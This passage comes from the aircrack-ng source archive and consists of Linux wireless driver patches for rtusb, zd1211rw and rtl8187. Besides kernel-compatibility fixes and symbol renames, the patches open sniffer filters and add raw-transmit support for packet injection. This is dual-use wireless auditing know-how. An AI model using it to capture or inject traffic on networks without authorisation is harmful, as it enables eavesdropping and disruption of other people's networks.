usb_rtusb_probe (struct usb_interface *intf, const struct usb_device_id *id) -{ +{ struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; int i; @@ -2111,19 +2115,21 @@ if(!netdev) { printk("alloc_etherdev failed\n"); - + module_put(THIS_MODULE); return res; } - + pAd = netdev->priv; pAd->net_dev = netdev; netif_stop_queue(netdev); pAd->config = &dev->config->desc; pAd->pUsb_Dev = dev; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(pAd->net_dev); +#endif ether_setup(pAd->net_dev); - + netdev->open = usb_rtusb_open; netdev->stop = usb_rtusb_close; netdev->priv = pAd; @@ -2141,7 +2147,9 @@ pAd->net_dev->hard_header_len = 14; pAd->net_dev->mtu = 1500; pAd->net_dev->addr_len = 6; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) pAd->net_dev->weight = 64; +#endif OPSTATUS_CLEAR_FLAG(pAd, fOP_STATUS_MEDIA_STATE_CONNECTED); @@ -2149,23 +2157,23 @@ pAd->RTUSBCmdThr_pid= -1; SET_NETDEV_DEV(pAd->net_dev, &intf->dev); - - {// find available + + {// find available int i=0; char slot_name[IFNAMSIZ]; //struct net_device *device; struct usb_host_interface *iface_desc; struct usb_endpoint_descriptor *endpoint; - + for (i = 0; i < 8; i++) { sprintf(slot_name, "rausb%d", i); -#if 1 - if(dev_get_by_name(slot_name)==NULL) +#if 1 + if(dev_get_by_name(&init_net, slot_name)==NULL) break; -#else +#else read_lock_bh(&dev_base_lock); // avoid multiple init for (device = dev_base; device != NULL; device = device->next) { @@ -2175,9 +2183,9 @@ } } read_unlock_bh(&dev_base_lock); - + if(device == NULL) break; -#endif +#endif } if(i == 8) { @@ -2194,18 +2202,18 @@ /* check out the endpoint: it has to be Interrupt & IN */ endpoint = &iface_desc->endpoint[i].desc; - + /* get Max Packet Size from endpoint */ pAd->BulkOutMaxPacketSize = (USHORT)endpoint->wMaxPacketSize; DBGPRINT(RT_DEBUG_TRACE, "BulkOutMaxPacketSize %d\n", pAd->BulkOutMaxPacketSize); } - + //bottom half data is assign at each task_scheduler //pAd->rx_bh.data = (unsigned long)pAd; pAd->rx_bh.func = RTUSBRxPacket; - + res = register_netdev(pAd->net_dev); if (res) goto out; @@ -2217,7 +2225,7 @@ usb_set_intfdata(intf, pAd); return 0; - + out: printk("register_netdev failed err=%d\n",res); free_netdev(netdev); @@ -2229,7 +2237,7 @@ { struct usb_device *dev = interface_to_usbdev(intf); PRTMP_ADAPTER pAd = (PRTMP_ADAPTER)NULL; - + pAd = usb_get_intfdata(intf); usb_set_intfdata(intf, NULL); @@ -2238,11 +2246,11 @@ dev->bus->bus_name, dev->devpath); if (!pAd) return; - + tasklet_kill(&pAd->rx_bh); // for debug, wait to show some messages to /proc system udelay(1); - //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, + //After Add Thread implementation, Upon exec there, pAd->net_dev seems becomes NULL, //need to check why??? //assert(pAd->net_dev != NULL) if(pAd->net_dev!= NULL) @@ -2295,7 +2303,7 @@ udelay(1); udelay(1); usb_deregister(&rtusb_driver); - + printk("<=== rtusb exit\n"); } /**************************************/ aircrack-ng-1.2-beta3/patches/old/zd1211rw-inject+dbi-fix-2.6.39.2.2.patch0000644000000000000000000000360312103567066023605 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c zdpats/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ zdpats/drivers/net/wireless/zd1211rw/zd_mac.c 2011-06-25 17:46:33.146013429 +0200 @@ -227,14 +227,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -970,7 +975,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-beta3/patches/old/rtl8187_2.6.20v4.patch0000644000000000000000000112622010761053203020666 0ustar rootrootdiff -Naur rtl8187_orig/beta-8187/ieee80211.h rtl8187_rawtx/beta-8187/ieee80211.h --- rtl8187_orig/beta-8187/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/ieee80211.h 2007-05-26 10:37:51.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/beta-8187/Makefile rtl8187_rawtx/beta-8187/Makefile --- rtl8187_orig/beta-8187/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/Makefile 2007-05-27 10:47:14.000000000 +0200 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_orig/beta-8187/r8180_93cx6.c rtl8187_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_orig/beta-8187/r8180_93cx6.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_93cx6.c 2007-05-26 10:37:46.000000000 +0200 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_orig/beta-8187/r8180_hw.h rtl8187_rawtx/beta-8187/r8180_hw.h --- rtl8187_orig/beta-8187/r8180_hw.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_hw.h 2007-05-26 10:37:51.000000000 +0200 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.c rtl8187_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_orig/beta-8187/r8180_rtl8225.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.c 2007-05-26 10:37:46.000000000 +0200 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-05-26 10:37:51.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-05-26 10:37:46.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 